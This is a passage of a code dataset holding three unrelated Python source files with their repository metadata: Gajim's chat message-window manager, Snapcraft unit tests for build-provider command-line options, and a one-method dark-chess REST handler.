nick_label.set_markup(tab_label_str) if tab_label_color: nick_label.override_color(Gtk.StateFlags.NORMAL, tab_label_color) nick_label.override_color(Gtk.StateFlags.ACTIVE, tab_label_color) tab_img = ctrl.get_tab_image() if tab_img: if tab_img.get_storage_type() == Gtk.ImageType.ANIMATION: status_img.set_from_animation(tab_img.get_animation()) else: status_img.set_from_pixbuf(tab_img.get_pixbuf()) self.show_icon() def repaint_themed_widgets(self): """ Repaint controls in the window with theme color """ # iterate through controls and repaint for ctrl in self.controls(): ctrl.repaint_themed_widgets() def _widget_to_control(self, widget): for ctrl in self.controls(): if ctrl.widget == widget: return ctrl return None def get_active_control(self): notebook = self.notebook active_widget = notebook.get_nth_page(notebook.get_current_page()) return self._widget_to_control(active_widget) def get_active_contact(self): ctrl = self.get_active_control() if ctrl: return ctrl.contact return None def get_active_jid(self): contact = self.get_active_contact() if contact: return contact.jid return None def is_active(self): return self.window.is_active() def get_origin(self): return self.window.get_window().get_origin() def get_control(self, key, acct): """ Return the MessageControl for jid or n, where n is a notebook page index. When key is an int index acct may be None """ if isinstance(key, str): jid = key try: return self._controls[acct][jid] except Exception: return None else: page_num = key notebook = self.notebook if page_num is None: page_num = notebook.get_current_page() nth_child = notebook.get_nth_page(page_num) return self._widget_to_control(nth_child) def has_control(self, jid, acct): return (acct in self._controls and jid in self._controls[acct]) def change_key(self, old_jid, new_jid, acct): """ Change the JID key of a control """ try: # Check if controls exists ctrl = self._controls[acct][old_jid] except KeyError: return if new_jid in self._controls[acct]: self.remove_tab(self._controls[acct][new_jid], self.CLOSE_CLOSE_BUTTON, force=True) self._controls[acct][new_jid] = ctrl del self._controls[acct][old_jid] if old_jid in gajim.last_message_time[acct]: gajim.last_message_time[acct][new_jid] = \ gajim.last_message_time[acct][old_jid] del gajim.last_message_time[acct][old_jid] def controls(self): for jid_dict in list(self._controls.values()): for ctrl in list(jid_dict.values()): yield ctrl def get_nb_controls(self): return sum(len(jid_dict) for jid_dict in self._controls.values()) def move_to_next_unread_tab(self, forward): ind = self.notebook.get_current_page() current = ind found = False first_composing_ind = -1 # id of first composing ctrl to switch to # if no others controls have awaiting events # loop until finding an unread tab or having done a complete cycle while True: if forward == True: # look for the first unread tab on the right ind = ind + 1 if ind >= self.notebook.get_n_pages(): ind = 0 else: # look for the first unread tab on the right ind = ind - 1 if ind < 0: ind = self.notebook.get_n_pages() - 1 ctrl = self.get_control(ind, None) if ctrl.get_nb_unread() > 0: found = True break # found elif gajim.config.get('ctrl_tab_go_to_next_composing') : # Search for a composing contact contact = ctrl.contact if first_composing_ind == -1 and contact.chatstate == 'composing': # If no composing contact found yet, check if this one is composing first_composing_ind = ind if ind == current: break # a complete cycle without finding an unread tab if found: self.notebook.set_current_page(ind) elif first_composing_ind != -1: self.notebook.set_current_page(first_composing_ind) else: # not found and nobody composing if forward: # CTRL + TAB if current < (self.notebook.get_n_pages() - 1): self.notebook.next_page() else: # traverse for ever (eg. don't stop at last tab) self.notebook.set_current_page(0) else: # CTRL + SHIFT + TAB if current > 0: self.notebook.prev_page() else: # traverse for ever (eg. don't stop at first tab) self.notebook.set_current_page( self.notebook.get_n_pages() - 1) def popup_menu(self, event): menu = self.get_active_control().prepare_context_menu() # show the menu menu.attach_to_widget(gajim.interface.roster.window, None) menu.show_all() menu.popup(None, None, None, None, event.button, event.time) def _on_notebook_switch_page(self, notebook, page, page_num): old_no = notebook.get_current_page() if old_no >= 0: old_ctrl = self._widget_to_control(notebook.get_nth_page(old_no)) old_ctrl.set_control_active(False) new_ctrl = self._widget_to_control(notebook.get_nth_page(page_num)) new_ctrl.set_control_active(True) self.show_title(control = new_ctrl) control = self.get_active_control() if isinstance(control, ChatControlBase): control.msg_textview.grab_focus() def _on_notebook_key_press(self, widget, event): # when tab itself is selected, # make sure <- and -> are allowed for navigating between tabs if event.keyval in (Gdk.KEY_Left, Gdk.KEY_Right): return False control = self.get_active_control() if event.get_state() & Gdk.ModifierType.SHIFT_MASK: # CTRL + SHIFT + TAB if event.get_state() & Gdk.ModifierType.CONTROL_MASK and \ event.keyval == Gdk.KEY_ISO_Left_Tab: self.move_to_next_unread_tab(False) return True # SHIFT + PAGE_[UP|DOWN]: send to conv_textview elif event.keyval in (Gdk.KEY_Page_Down, Gdk.KEY_Page_Up): control.conv_textview.tv.event(event) return True elif event.get_state() & Gdk.ModifierType.CONTROL_MASK: if event.keyval == Gdk.KEY_Tab: # CTRL + TAB self.move_to_next_unread_tab(True) return True # Ctrl+PageUP / DOWN has to be handled by notebook elif event.keyval == Gdk.KEY_Page_Down: self.move_to_next_unread_tab(True) return True elif event.keyval == Gdk.KEY_Page_Up: self.move_to_next_unread_tab(False) return True if event.keyval in (Gdk.KEY_Shift_L, Gdk.KEY_Shift_R, Gdk.KEY_Control_L, Gdk.KEY_Control_R, Gdk.KEY_Caps_Lock, Gdk.KEY_Shift_Lock, Gdk.KEY_Meta_L, Gdk.KEY_Meta_R, Gdk.KEY_Alt_L, Gdk.KEY_Alt_R, Gdk.KEY_Super_L, Gdk.KEY_Super_R, Gdk.KEY_Hyper_L, Gdk.KEY_Hyper_R): return True if isinstance(control, ChatControlBase): # we forwarded it to message textview control.msg_textview.event(event) control.msg_textview.grab_focus() def get_tab_at_xy(self, x, y): """ Return the tab under xy and if its nearer from left or right side of the tab """ page_num = -1 to_right = False horiz = self.notebook.get_tab_pos() == Gtk.PositionType.TOP or \ self.notebook.get_tab_pos() == Gtk.PositionType.BOTTOM for i in list(range(self.notebook.get_n_pages())): page = self.notebook.get_nth_page(i) tab = self.notebook.get_tab_label(page) tab_alloc = tab.get_allocation() if horiz: if (x >= tab_alloc.x) and \ (x <= (tab_alloc.x + tab_alloc.width)): page_num = i if x >= tab_alloc.x + (tab_alloc.width / 2.0): to_right = True break else: if (y >= tab_alloc.y) and \ (y <= (tab_alloc.y + tab_alloc.height)): page_num = i if y > tab_alloc.y + (tab_alloc.height / 2.0): to_right = True break return (page_num, to_right) def find_page_num_according_to_tab_label(self, tab_label): """ Find the page num of the tab label """ page_num = -1 for i in list(range(self.notebook.get_n_pages())): page = self.notebook.get_nth_page(i) tab = self.notebook.get_tab_label(page) if tab == tab_label: page_num = i break return page_num ################################################################################ class MessageWindowMgr(GObject.GObject): """ A manager and factory for MessageWindow objects """ __gsignals__ = { 'window-delete': (GObject.SignalFlags.RUN_LAST, None, (object,)), } # These constants map to common.config.opt_one_window_types indices ( ONE_MSG_WINDOW_NEVER, ONE_MSG_WINDOW_ALWAYS, ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER, ONE_MSG_WINDOW_PERACCT, ONE_MSG_WINDOW_PERTYPE, ) = range(5) # A key constant for the main window in ONE_MSG_WINDOW_ALWAYS mode MAIN_WIN = 'main' # A key constant for the main window in ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER mode ROSTER_MAIN_WIN = 'roster' def __init__(self, parent_window, parent_paned): """ A dictionary of windows; the key depends on the config: ONE_MSG_WINDOW_NEVER: The key is the contact JID ONE_MSG_WINDOW_ALWAYS: The key is MessageWindowMgr.MAIN_WIN ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER: The key is MessageWindowMgr.MAIN_WIN ONE_MSG_WINDOW_PERACCT: The key is the account name ONE_MSG_WINDOW_PERTYPE: The key is a message type constant """ GObject.GObject.__init__(self) self._windows = {} # Map the mode to a int constant for frequent compares mode = gajim.config.get('one_message_window') self.mode = common.config.opt_one_window_types.index(mode) self.parent_win = parent_window self.parent_paned = parent_paned def change_account_name(self, old_name, new_name): for win in self.windows(): win.change_account_name(old_name, new_name) def _new_window(self, acct, type_): parent_win = None parent_paned = None if self.mode == self.ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER: parent_win = self.parent_win parent_paned = self.parent_paned win = MessageWindow(acct, type_, parent_win, parent_paned) # we track the lifetime of this window win.window.connect('delete-event', self._on_window_delete) win.window.connect('destroy', self._on_window_destroy) return win def _gtk_win_to_msg_win(self, gtk_win): for w in self.windows(): if w.window == gtk_win: return w return None def get_window(self, jid, acct): for win in self.windows(): if win.has_control(jid, acct): return win return None def has_window(self, jid, acct): return self.get_window(jid, acct) is not None def one_window_opened(self, contact=None, acct=None, type_=None): try: return \ self._windows[self._mode_to_key(contact, acct, type_)] is not None except KeyError: return False def _resize_window(self, win, acct, type_): """ Resizes window according to config settings """ if self.mode in (self.ONE_MSG_WINDOW_ALWAYS, self.ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER): size = (gajim.config.get('msgwin-width'), gajim.config.get('msgwin-height')) if self.mode == self.ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER: parent_size = win.window.get_size() # Need to add the size of the now visible paned handle, otherwise # the saved width of the message window decreases by this amount s = GObject.Value() s.init(GObject.TYPE_INT) win.parent_paned.style_get_property('handle-size', s) handle_size = s.get_int() size = (parent_size[0] + size[0] + handle_size, size[1]) elif self.mode == self.ONE_MSG_WINDOW_PERACCT: size = (gajim.config.get_per('accounts', acct, 'msgwin-width'), gajim.config.get_per('accounts', acct, 'msgwin-height')) elif self.mode in (self.ONE_MSG_WINDOW_NEVER, self.ONE_MSG_WINDOW_PERTYPE): if type_ == message_control.TYPE_PM: type_ = message_control.TYPE_CHAT opt_width = type_ + '-msgwin-width' opt_height = type_ + '-msgwin-height' size = (gajim.config.get(opt_width), gajim.config.get(opt_height)) else: return win.resize(size[0], size[1]) if win.parent_paned: win.parent_paned.set_position(gajim.config.get('roster_hpaned_position')) def _position_window(self, win, acct, type_): """ Moves window according to config settings """ if (self.mode in [self.ONE_MSG_WINDOW_NEVER, self.ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER]): return if self.mode == self.ONE_MSG_WINDOW_ALWAYS: pos = (gajim.config.get('msgwin-x-position'), gajim.config.get('msgwin-y-position')) elif self.mode == self.ONE_MSG_WINDOW_PERACCT: pos = (gajim.config.get_per('accounts', acct, 'msgwin-x-position'), gajim.config.get_per('accounts', acct, 'msgwin-y-position')) elif self.mode == self.ONE_MSG_WINDOW_PERTYPE: pos = (gajim.config.get(type_ + '-msgwin-x-position'), gajim.config.get(type_ + '-msgwin-y-position')) else: return gtkgui_helpers.move_window(win.window, pos[0], pos[1]) def _mode_to_key(self, contact, acct, type_, resource = None): if self.mode == self.ONE_MSG_WINDOW_NEVER: key = acct + contact.jid if resource: key += '/' + resource return key elif self.mode == self.ONE_MSG_WINDOW_ALWAYS: return self.MAIN_WIN elif self.mode == self.ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER: return self.ROSTER_MAIN_WIN elif self.mode == self.ONE_MSG_WINDOW_PERACCT: return acct elif self.mode == self.ONE_MSG_WINDOW_PERTYPE: return type_ def create_window(self, contact, acct, type_, resource = None): win_acct = None win_type = None win_role = None # X11 window role win_key = self._mode_to_key(contact, acct, type_, resource) if self.mode == self.ONE_MSG_WINDOW_PERACCT: win_acct = acct win_role = acct elif self.mode == self.ONE_MSG_WINDOW_PERTYPE: win_type = type_ win_role = type_ elif self.mode == self.ONE_MSG_WINDOW_NEVER: win_type = type_ win_role = contact.jid elif self.mode == self.ONE_MSG_WINDOW_ALWAYS: win_role = 'messages' win = None try: win = self._windows[win_key] except KeyError: win = self._new_window(win_acct, win_type) if win_role: win.window.set_role(win_role) # Position and size window based on saved state and window mode if not self.one_window_opened(contact, acct, type_): if gajim.config.get('msgwin-max-state'): win.window.maximize() else: self._resize_window(win, acct, type_) self._position_window(win, acct, type_) self._windows[win_key] = win return win def change_key(self, old_jid, new_jid, acct): win = self.get_window(old_jid, acct) if self.mode == self.ONE_MSG_WINDOW_NEVER: old_key = acct + old_jid if old_jid not in self._windows: return new_key = acct + new_jid self._windows[new_key] = self._windows[old_key] del self._windows[old_key] win.change_key(old_jid, new_jid, acct) def _on_window_delete(self, win, event): self.save_state(self._gtk_win_to_msg_win(win)) gajim.interface.save_config() return False def _on_window_destroy(self, win): for k in self._windows.keys(): if self._windows[k].window == win: self.emit('window-delete', self._windows[k]) del self._windows[k] return def get_control(self, jid, acct): """ Amongst all windows, return the MessageControl for jid """ win = self.get_window(jid, acct) if win: return win.get_control(jid, acct) return None def search_control(self, jid, account, resource=None): """ Search windows with this policy: 1. try to find already opened tab for resource 2. find the tab for this jid with ctrl.resource not set 3. there is none """ fjid = jid if resource: fjid += '/' + resource ctrl = self.get_control(fjid, account) if ctrl: return ctrl win = self.get_window(jid, account) if win: ctrl = win.get_control(jid, account) if not ctrl.resource and ctrl.type_id != message_control.TYPE_GC: return ctrl return None def get_gc_control(self, jid, acct): """ Same as get_control. Was briefly required, is not any more. May be useful some day in the future? """ ctrl = self.get_control(jid, acct) if ctrl and ctrl.type_id == message_control.TYPE_GC: return ctrl return None def get_controls(self, type_=None, acct=None): ctrls = [] for c in self.controls(): if acct and c.account != acct: continue if not type_ or c.type_id == type_: ctrls.append(c) return ctrls def windows(self): for w in list(self._windows.values()): yield w def controls(self): for w in self._windows.values(): for c in w.controls(): yield c def shutdown(self, width_adjust=0): for w in self.windows(): self.save_state(w, width_adjust) if not w.parent_paned: w.window.hide() w.window.destroy() gajim.interface.save_config() def save_state(self, msg_win, width_adjust=0): # Save window size and position max_win_key = 'msgwin-max-state' pos_x_key = 'msgwin-x-position' pos_y_key = 'msgwin-y-position' size_width_key = 'msgwin-width' size_height_key = 'msgwin-height' acct = None x, y = msg_win.window.get_position() width, height = msg_win.window.get_size() # If any of these values seem bogus don't update. if x < 0 or y < 0 or width < 0 or height < 0: return elif self.mode == self.ONE_MSG_WINDOW_PERACCT: acct = msg_win.account elif self.mode == self.ONE_MSG_WINDOW_PERTYPE: type_ = msg_win.type_ pos_x_key = type_ + '-msgwin-x-position' pos_y_key = type_ + '-msgwin-y-position' size_width_key = type_ + '-msgwin-width' size_height_key = type_ + '-msgwin-height' elif self.mode == self.ONE_MSG_WINDOW_NEVER: type_ = msg_win.type_ size_width_key = type_ + '-msgwin-width' size_height_key = type_ + '-msgwin-height' elif self.mode == self.ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER: # Ignore any hpaned width width = msg_win.notebook.get_allocation().width if acct: gajim.config.set_per('accounts', acct, size_width_key, width) gajim.config.set_per('accounts', acct, size_height_key, height) if self.mode != self.ONE_MSG_WINDOW_NEVER: gajim.config.set_per('accounts', acct, pos_x_key, x) gajim.config.set_per('accounts', acct, pos_y_key, y) else: win_maximized = msg_win.window.get_window().get_state() == \ Gdk.WindowState.MAXIMIZED gajim.config.set(max_win_key, win_maximized) width += width_adjust gajim.config.set(size_width_key, width) gajim.config.set(size_height_key, height) if self.mode != self.ONE_MSG_WINDOW_NEVER: gajim.config.set(pos_x_key, x) gajim.config.set(pos_y_key, y) def reconfig(self): for w in self.windows(): self.save_state(w) mode = gajim.config.get('one_message_window') if self.mode == common.config.opt_one_window_types.index(mode): # No change return self.mode = common.config.opt_one_window_types.index(mode) controls = [] for w in self.windows(): # Note, we are taking care not to hide/delete the roster window when the # MessageWindow is embedded. if not w.parent_paned: w.window.hide() else: # Stash current size so it can be restored if the MessageWindow # is not longer embedded roster_width = w.parent_paned.get_position() gajim.config.set('roster_width', roster_width) while w.notebook.get_n_pages(): page = w.notebook.get_nth_page(0) ctrl = w._widget_to_control(page) w.notebook.remove_page(0) page.unparent() controls.append(ctrl) # Must clear _controls to prevent MessageControl.shutdown calls w._controls = {} if not w.parent_paned: w.window.destroy() else: # Don't close parent window, just remove the child child = w.parent_paned.get_child2() w.parent_paned.remove(child) gajim.interface.roster.xml.get_object('show_roster_menuitem').\ set_sensitive(False) gtkgui_helpers.resize_window(w.window, gajim.config.get('roster_width'), gajim.config.get('roster_height')) self._windows = {} for ctrl in controls: mw = self.get_window(ctrl.contact.jid, ctrl.account) if not mw: mw = self.create_window(ctrl.contact, ctrl.account, ctrl.type_id) ctrl.parent_win = mw mw.new_tab(ctrl) def save_opened_controls(self): if not gajim.config.get('remember_opened_chat_controls'): return chat_controls = {} for acct in gajim.connections: chat_controls[acct] = [] for ctrl in self.get_controls(type_=message_control.TYPE_CHAT): acct = ctrl.account if ctrl.contact.jid not in chat_controls[acct]: chat_controls[acct].append(ctrl.contact.jid) for acct in gajim.connections: gajim.config.set_per('accounts', acct, 'opened_chat_controls', ','.join(chat_controls[acct]))
irl/gajim
src/message_window.py
Python
gpl-3.0
51,039
# -*- Mode:Python; indent-tabs-mode:nil; tab-width:4 -*- # # Copyright (C) 2018-2019 Canonical Ltd # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License version 3 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os from typing import Optional from unittest import mock import fixtures from testtools.matchers import Equals import snapcraft.yaml_utils.errors from snapcraft.internal import steps from snapcraft.internal.build_providers.errors import ProviderExecError from tests import fixture_setup from tests.unit.build_providers import ProviderImpl from . import CommandBaseTestCase class LifecycleCommandsBaseTestCase(CommandBaseTestCase): yaml_template = """name: {step}-test version: "1.0" summary: test {step} description: if the {step} is successful the state file will be updated confinement: strict grade: stable base: {base} parts: {parts}""" yaml_part = """ {step}{iter:d}: plugin: nil""" def make_snapcraft_yaml( self, step, n=1, yaml_part=None, create=False, base="core18" ): if not yaml_part: yaml_part = self.yaml_part parts = "\n".join([yaml_part.format(step=step, iter=i) for i in range(n)]) super().make_snapcraft_yaml( self.yaml_template.format(step=step, parts=parts, base=base) ) parts = [] for i in range(n): part_dir = os.path.join(self.parts_dir, "{}{}".format(step, i)) state_dir = os.path.join(part_dir, "state") parts.append({"part_dir": part_dir, "state_dir": state_dir}) return parts class BuildEnvironmentParsingTest(LifecycleCommandsBaseTestCase): def setUp(self): super().setUp() # Use "clean" step for testing provider handling. self.step = "clean" # Don't actually run clean - we only want to test the command # line interface flag parsing. self.useFixture(fixtures.MockPatch("snapcraft.internal.lifecycle.clean")) # tests.unit.TestCase sets SNAPCRAFT_BUILD_ENVIRONMENT to host. # These build provider tests will want to set this explicitly. self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", None) ) self.mock_get_provider_for = self.useFixture( fixtures.MockPatch( "snapcraft.internal.build_providers.get_provider_for", return_value=ProviderImpl, ) ).mock # Tests need to dictate this (or not). self.useFixture( fixtures.MockPatch( "snapcraft.internal.common.is_process_container", return_value=False ) ) self.useFixture(fixture_setup.FakeMultipass()) snapcraft_yaml = fixture_setup.SnapcraftYaml(self.path, base="core") snapcraft_yaml.update_part("part1", dict(plugin="nil")) self.useFixture(snapcraft_yaml) class AssortedBuildEnvironmentParsingTests(BuildEnvironmentParsingTest): def test_host_container(self): self.useFixture( fixtures.MockPatch( "snapcraft.internal.common.is_process_container", return_value=True ) ) result = self.run_command([self.step]) # Mock get_provider_for not called when using "host". self.mock_get_provider_for.assert_not_called() self.assertThat(result.exit_code, Equals(0)) def test_use_lxd(self): result = self.run_command([self.step, "--use-lxd"]) self.mock_get_provider_for.assert_called_once_with("lxd") self.assertThat(result.exit_code, Equals(0)) def test_destructive_mode(self): result = self.run_command([self.step, "--destructive-mode"]) # Mock get_provider_for not called when using "host". self.mock_get_provider_for.assert_not_called() self.assertThat(result.exit_code, Equals(0)) def test_host_build_env(self): self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", "host") ) result = self.run_command([self.step]) self.mock_get_provider_for.assert_not_called() self.assertThat(result.exit_code, Equals(0)) def test_invalid_clean_provider_build_env(self): self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", "invalid") ) result = self.run_command([self.step]) self.assertThat(result.exit_code, Equals(2)) def test_invalid_clean_provider_build_arg(self): result = self.run_command([self.step, "--provider", "invalid"]) self.assertThat(result.exit_code, Equals(2)) def test_invalid_combo_lxd_destructive(self): result = self.run_command([self.step, "--use-lxd", "--destructive-mode"]) self.assertThat(result.exit_code, Equals(2)) def test_invalid_combo_use_lxd_mismatch(self): result = self.run_command([self.step, "--use-lxd", "--provider", "host"]) self.assertThat(result.exit_code, Equals(2)) def test_invalid_combo_destructive_mode_mismatch(self): result = self.run_command( [self.step, "--destructive-mode", "--provider", "lxd"] ) self.assertThat(result.exit_code, Equals(2)) def test_invalid_host_without_destructive_mode(self): result = self.run_command([self.step, "--provider", "host"]) self.assertThat(result.exit_code, Equals(2)) def test_invalid_mismatch(self): self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", "multipass") ) result = self.run_command([self.step, "--provider", "host"]) self.assertThat(result.exit_code, Equals(2)) class ValidBuildEnvironmentParsingTests(BuildEnvironmentParsingTest): def assert_run(self, env, arg, result): self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", env) ) if result == "host": res = self.run_command([self.step, "--provider", arg, "--destructive-mode"]) self.mock_get_provider_for.assert_not_called() else: res = self.run_command([self.step, "--provider", arg]) self.mock_get_provider_for.assert_called_once_with(result) self.assertThat(res.exit_code, Equals(0)) def test_default(self): self.assert_run(env=None, arg=None, result="multipass") def test_host_env(self): self.assert_run(env="host", arg=None, result="host") def test_host_arg(self): self.assert_run(env=None, arg="host", result="host") def test_host_both(self): self.assert_run(env="host", arg="host", result="host") def test_lxd_env(self): self.assert_run(env="lxd", arg=None, result="lxd") def test_lxd_arg(self): self.assert_run(env=None, arg="lxd", result="lxd") def test_lxd_both(self): self.assert_run(env="lxd", arg="lxd", result="lxd") def test_multipass_env(self): self.assert_run(env="multipass", arg=None, result="multipass") def test_multipass_arg(self): self.assert_run(env=None, arg="multipass", result="multipass") def test_multipass_both(self): self.assert_run(env="multipass", arg="multipass", result="multipass") class BuildProviderYamlValidationTest(LifecycleCommandsBaseTestCase): def setUp(self): super().setUp() self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", "multipass") ) patcher = mock.patch( "snapcraft.internal.build_providers.get_provider_for", return_value=ProviderImpl, ) self.provider = patcher.start() self.addCleanup(patcher.stop) self.useFixture(fixture_setup.FakeMultipass()) def test_validation_passes(self): snapcraft_yaml = fixture_setup.SnapcraftYaml(self.path, base="core") snapcraft_yaml.update_part("part1", dict(plugin="nil")) self.useFixture(snapcraft_yaml) result = self.run_command(["pull"]) self.assertThat(result.exit_code, Equals(0)) def test_validation_fails(self): snapcraft_yaml = fixture_setup.SnapcraftYaml( self.path, name="name with spaces", base="core" ) snapcraft_yaml.update_part("part1", dict(plugin="nil")) self.useFixture(snapcraft_yaml) self.assertRaises( snapcraft.yaml_utils.errors.YamlValidationError, self.run_command, ["pull"] ) class BuildProviderDebugCommandTestCase(LifecycleCommandsBaseTestCase): def setUp(self): super().setUp() self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", "multipass") ) self.useFixture(fixture_setup.FakeMultipass()) shell_mock = mock.Mock() class Provider(ProviderImpl): def execute_step(self, step: steps.Step) -> None: raise ProviderExecError( provider_name="fake", command=["snapcraft", "pull"], exit_code=1 ) def shell(self): shell_mock() patcher = mock.patch( "snapcraft.internal.build_providers.get_provider_for", return_value=Provider ) self.provider = patcher.start() self.addCleanup(patcher.stop) self.shell_mock = shell_mock self.make_snapcraft_yaml("pull", base="core") def test_step_with_debug_using_build_provider_fails(self): result = self.run_command(["--debug", "pull"]) self.assertThat(result.exit_code, Equals(0)) self.shell_mock.assert_called_once_with() def test_step_with_debug_after_pull_using_build_provider_fails(self): result = self.run_command(["pull", "--debug"]) self.assertThat(result.exit_code, Equals(0)) self.shell_mock.assert_called_once_with() def test_step_without_debug_using_build_provider_fails_and_does_not_shell(self): self.assertRaises(ProviderExecError, self.run_command, ["pull"]) self.shell_mock.assert_not_called() class BuildProviderShellCommandTestCase(LifecycleCommandsBaseTestCase): def setUp(self): super().setUp() self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", "multipass") ) self.useFixture(fixture_setup.FakeMultipass()) shell_mock = mock.Mock() pack_project_mock = mock.Mock() execute_step_mock = mock.Mock() class Provider(ProviderImpl): def pack_project(self, *, output: Optional[str] = None) -> None: pack_project_mock(output) def execute_step(self, step: steps.Step) -> None: execute_step_mock(step) def shell(self): shell_mock() patcher = mock.patch( "snapcraft.internal.build_providers.get_provider_for", return_value=Provider ) self.provider = patcher.start() self.addCleanup(patcher.stop) self.shell_mock = shell_mock self.pack_project_mock = pack_project_mock self.execute_step_mock = execute_step_mock self.make_snapcraft_yaml("pull", base="core") def test_step_with_shell_after(self): result = self.run_command(["pull", "--shell-after"]) self.assertThat(result.exit_code, Equals(0)) self.pack_project_mock.assert_not_called() self.execute_step_mock.assert_called_once_with(steps.PULL) self.shell_mock.assert_called_once_with() def test_snap_with_shell_after(self): result = self.run_command(["snap", "--output", "fake.snap", "--shell-after"]) self.assertThat(result.exit_code, Equals(0)) self.pack_project_mock.assert_called_once_with("fake.snap") self.execute_step_mock.assert_not_called() self.shell_mock.assert_called_once_with() def test_step_without_shell_after_does_not_enter_shell(self): result = self.run_command(["pull"]) self.assertThat(result.exit_code, Equals(0)) self.pack_project_mock.assert_not_called() self.execute_step_mock.assert_called_once_with(steps.PULL) self.shell_mock.assert_not_called() def test_error_with_shell_after_error_and_debug(self): self.shell_mock.side_effect = EnvironmentError("error") self.assertRaises( EnvironmentError, self.run_command, ["pull", "--shell-after", "--debug"] ) self.pack_project_mock.assert_not_called() self.execute_step_mock.assert_called_once_with(steps.PULL) self.shell_mock.assert_called_once_with() def test_pull_step_with_shell(self): result = self.run_command(["pull", "--shell"]) self.assertThat(result.exit_code, Equals(0)) self.pack_project_mock.assert_not_called() self.execute_step_mock.assert_not_called() self.shell_mock.assert_called_once_with() def test_step_with_shell(self): result = self.run_command(["stage", "--shell"]) self.assertThat(result.exit_code, Equals(0)) self.pack_project_mock.assert_not_called() self.execute_step_mock.assert_called_once_with(steps.BUILD) self.shell_mock.assert_called_once_with() def test_snap_with_shell(self): result = self.run_command(["snap", "--shell"]) self.assertThat(result.exit_code, Equals(0)) self.pack_project_mock.assert_not_called() self.execute_step_mock.assert_called_once_with(steps.PRIME) self.shell_mock.assert_called_once_with() def test_snap_without_shell(self): result = self.run_command(["snap"]) self.assertThat(result.exit_code, Equals(0)) self.pack_project_mock.assert_called_once_with(None) self.execute_step_mock.assert_not_called() self.shell_mock.assert_not_called() class BuildProviderTryCommandTestCase(LifecycleCommandsBaseTestCase): def setUp(self): super().setUp() self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", "multipass") ) self.useFixture(fixture_setup.FakeMultipass()) mount_prime_mock = mock.Mock(return_value=False) class Provider(ProviderImpl): def _mount_prime_directory(self) -> bool: return mount_prime_mock() patcher = mock.patch( "snapcraft.internal.build_providers.get_provider_for", return_value=Provider ) self.provider = patcher.start() self.addCleanup(patcher.stop) self.mount_prime_mock = mount_prime_mock self.make_snapcraft_yaml("pull", base="core") def test_try(self): result = self.run_command(["try"]) self.assertThat(result.exit_code, Equals(0)) self.mount_prime_mock.assert_called_once_with() class BuildProviderCleanCommandTestCase(LifecycleCommandsBaseTestCase): def setUp(self): super().setUp() self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", "multipass") ) self.useFixture(fixture_setup.FakeMultipass()) clean_project_mock = mock.Mock() clean_mock = mock.Mock() class Provider(ProviderImpl): def execute_step(self, step: steps.Step) -> None: raise ProviderExecError( provider_name="fake", command=["snapcraft", "pull"], exit_code=1 ) def clean_project(self): clean_project_mock() def clean_parts(self, part_names): clean_mock(part_names=part_names) patcher = mock.patch( "snapcraft.internal.build_providers.get_provider_for", return_value=Provider ) self.provider = patcher.start() self.addCleanup(patcher.stop) self.clean_project_mock = clean_project_mock self.clean_mock = clean_mock self.make_snapcraft_yaml("pull", base="core") @mock.patch("snapcraft.internal.lifecycle.clean") def test_clean(self, lifecycle_clean_mock): result = self.run_command(["clean"]) self.assertThat(result.exit_code, Equals(0)) lifecycle_clean_mock.assert_called_once_with(mock.ANY, tuple(), steps.PRIME) self.clean_project_mock.assert_called_once_with() self.clean_mock.assert_not_called() def test_clean_a_single_part(self): result = self.run_command(["clean", "part1"]) self.assertThat(result.exit_code, Equals(0)) self.clean_project_mock.assert_not_called() self.clean_mock.assert_called_once_with(part_names=("part1",)) def test_clean_multiple_parts(self): result = self.run_command(["clean", "part1", "part2", "part3"]) self.assertThat(result.exit_code, Equals(0)) self.clean_project_mock.assert_not_called() self.clean_mock.assert_called_once_with(part_names=("part1", "part2", "part3")) def test_unprime_with_build_environment_errors(self): result = self.run_command(["clean", "--unprime"]) self.assertThat(result.exit_code, Equals(2)) self.clean_project_mock.assert_not_called() self.clean_mock.assert_not_called() @mock.patch("snapcraft.cli.lifecycle.get_project") @mock.patch("snapcraft.internal.lifecycle.clean") def test_unprime_in_managed_host(self, lifecycle_clean_mock, get_project_mock): self.useFixture( fixtures.EnvironmentVariable("SNAPCRAFT_BUILD_ENVIRONMENT", "managed-host") ) project_mock = mock.Mock() project_mock.info.base.return_value = "core" get_project_mock.return_value = project_mock result = self.run_command(["clean", "--unprime"]) self.assertThat(result.exit_code, Equals(0)) lifecycle_clean_mock.assert_called_once_with(project_mock, tuple(), steps.PRIME) self.clean_project_mock.assert_not_called() self.clean_mock.assert_not_called()
chipaca/snapcraft
tests/unit/commands/test_build_providers.py
Python
gpl-3.0
18,460
from handlers.v2.base import RestBase class RestMain(RestBase): def get(self): return 'welcome to dark chess'
AHAPX/dark-chess
src/handlers/v2/main.py
Python
gpl-3.0
124
